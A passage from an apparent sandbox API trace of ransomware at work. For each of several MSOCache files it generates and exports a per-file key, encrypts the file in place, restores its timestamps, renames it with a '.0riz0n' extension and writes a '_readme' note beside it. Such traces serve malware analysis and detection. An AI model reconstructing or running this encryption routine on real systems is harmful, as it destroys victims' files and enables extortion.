lpOverlapped=0x0 | out: lpBuffer=0x2950020*, lpNumberOfBytesWritten=0x17af85c*=0x2fac00, lpOverlapped=0x0) returned 1 [0082.692] FlushFileBuffers (hFile=0x1f0) returned 1 [0082.737] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0082.737] NtClose (Handle=0x1f0) returned 0x0 [0082.737] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.0riz0n")) returned 1 [0082.738] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0082.738] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0082.738] GetLastError () returned 0x2 [0082.738] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6968, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0082.738] GetLastError () returned 0x2 [0082.738] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0082.739] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0082.739] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0082.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0082.740] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0xfcca98 [0082.740] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2f9, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2f9, lpOverlapped=0x0) returned 1 [0082.740] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x45d5d190, dwHighDateTime=0x1d59598)) returned 1 [0082.740] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0082.740] NtClose (Handle=0x1f0) returned 0x0 [0082.740] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0082.740] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0082.740] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0082.741] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x2950020) returned 1 [0082.754] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0082.754] CryptDestroyKey (hKey=0x459b38) returned 1 [0082.754] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0082.754] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0082.754] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0082.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0082.754] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf)) returned 1 [0082.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0082.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0082.754] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0082.754] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0082.754] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0082.754] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0082.754] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0082.754] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf)) returned 1 [0082.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0082.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0082.755] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0082.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0082.755] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0082.755] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf)) returned 1 [0082.755] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0082.755] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0082.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0082.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0082.755] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0082.755] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0082.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0082.755] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xf6e345a0, dwHighDateTime=0x1d301be)) returned 1 [0082.755] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0082.755] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0082.756] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0082.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0082.756] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0082.756] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0082.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0082.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0082.756] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0082.756] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0082.756] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x500) returned 0xf3a868 [0082.756] ReadFile (in: hFile=0x1f0, lpBuffer=0xf3a868, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesRead=0x17af85c*=0x4cf, lpOverlapped=0x0) returned 1 [0082.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x500) returned 0xef94d8 [0082.758] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x4cf, dwBufLen=0x8cf | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x4d0) returned 1 [0082.758] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0082.758] WriteFile (in: hFile=0x1f0, lpBuffer=0xf3a868*, nNumberOfBytesToWrite=0x4cf, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf3a868*, lpNumberOfBytesWritten=0x17af85c*=0x4cf, lpOverlapped=0x0) returned 1 [0082.759] FlushFileBuffers (hFile=0x1f0) returned 1 [0082.762] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0082.762] NtClose (Handle=0x1f0) returned 0x0 [0082.762] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.0riz0n")) returned 1 [0082.762] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0082.762] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0082.763] GetLastError () returned 0x2 [0082.763] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed6988, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0082.763] GetLastError () returned 0x2 [0082.763] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0082.763] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0082.763] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, lpNumberOfBytesWritten=0x17af85c*=0x15d, lpOverlapped=0x0) returned 1 [0082.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0082.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x7) returned 0x30d278 [0082.764] WriteFile (in: hFile=0x1f0, lpBuffer=0x1a8ea68*, nNumberOfBytesToWrite=0x2e5, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x1a8ea68*, lpNumberOfBytesWritten=0x17af85c*=0x2e5, lpOverlapped=0x0) returned 1 [0082.764] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af970*(dwLowDateTime=0x45da9450, dwHighDateTime=0x1d59598)) returned 1 [0082.765] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0082.765] NtClose (Handle=0x1f0) returned 0x0 [0082.765] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0082.765] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1a8ea68) returned 1 [0082.765] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xfcd5c0) returned 1 [0082.765] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf3a868) returned 1 [0082.765] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf79470) returned 1 [0082.765] CryptDestroyKey (hKey=0x459b38) returned 1 [0082.765] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf99c90) returned 1 [0082.765] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfad40) returned 1 [0082.765] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1bfae48) returned 1 [0082.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0082.765] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c)) returned 1 [0082.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0082.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0082.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0082.766] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0082.766] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0082.766] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0082.766] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0082.766] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c)) returned 1 [0082.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0082.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfae48 [0082.766] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0082.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0x1bfad40 [0082.766] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0082.766] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c)) returned 1 [0082.766] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0082.766] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0082.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0082.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0082.767] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0082.767] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0082.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf99c90 [0082.767] GetFileTime (in: hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c*(dwLowDateTime=0xfa13c510, dwHighDateTime=0x1d301be)) returned 1 [0082.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0082.767] CryptGenKey (in: hProv=0x44e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x17af854 | out: phKey=0x17af854*=0x459b38) returned 1 [0082.767] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x17af850 | out: pbData=0x0*, pdwDataLen=0x17af850*=0x20c) returned 1 [0082.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x240) returned 0xf79470 [0082.767] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf9a158) returned 1 [0082.767] CryptExportKey (in: hKey=0x459b38, hExpKey=0x452340, dwBlobType=0x1, dwFlags=0x0, pbData=0xf79470, pdwDataLen=0x17af850 | out: pbData=0xf79470*, pdwDataLen=0x17af850*=0x20c) returned 1 [0082.767] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xf9a158 [0082.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xfcd5c0 [0082.768] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0082.768] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af85c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af85c*=0) returned 0x0 [0082.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x740) returned 0xf1e738 [0082.768] ReadFile (in: hFile=0x1f0, lpBuffer=0xf1e738, nNumberOfBytesToRead=0x73c, lpNumberOfBytesRead=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf1e738*, lpNumberOfBytesRead=0x17af85c*=0x73c, lpOverlapped=0x0) returned 1 [0082.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x740) returned 0x1aa3df0 [0082.769] CryptEncrypt (in: hKey=0x459b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1acf180*, pdwDataLen=0x17af858*=0x73c, dwBufLen=0xb3c | out: pbData=0x1acf180*, pdwDataLen=0x17af858*=0x740) returned 1 [0082.769] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af844*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x17af844*=0) returned 0x0 [0082.770] WriteFile (in: hFile=0x1f0, lpBuffer=0xf1e738*, nNumberOfBytesToWrite=0x73c, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0xf1e738*, lpNumberOfBytesWritten=0x17af85c*=0x73c, lpOverlapped=0x0) returned 1 [0082.770] FlushFileBuffers (hFile=0x1f0) returned 1 [0082.772] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x17af90c) returned 1 [0082.772] NtClose (Handle=0x1f0) returned 0x0 [0082.773] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n")) returned 1 [0082.773] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0082.773] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0082.773] GetLastError () returned 0x2 [0082.773] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0xed69a8, ftLastWriteTime.dwHighDateTime=0x26fa58, nFileSizeHigh=0x0, nFileSizeLow=0x17af894)) returned 0 [0082.773] GetLastError () returned 0x2 [0082.774] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0082.774] SetFileTime (hFile=0x1f0, lpCreationTime=0x0, lpLastAccessTime=0x17af830, lpLastWriteTime=0x17af830) returned 1 [0082.774] WriteFile (in: hFile=0x1f0, lpBuffer=0x30fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x17af85c, lpOverlapped=0x0 | out: lpBuffer=0x30fe10*, 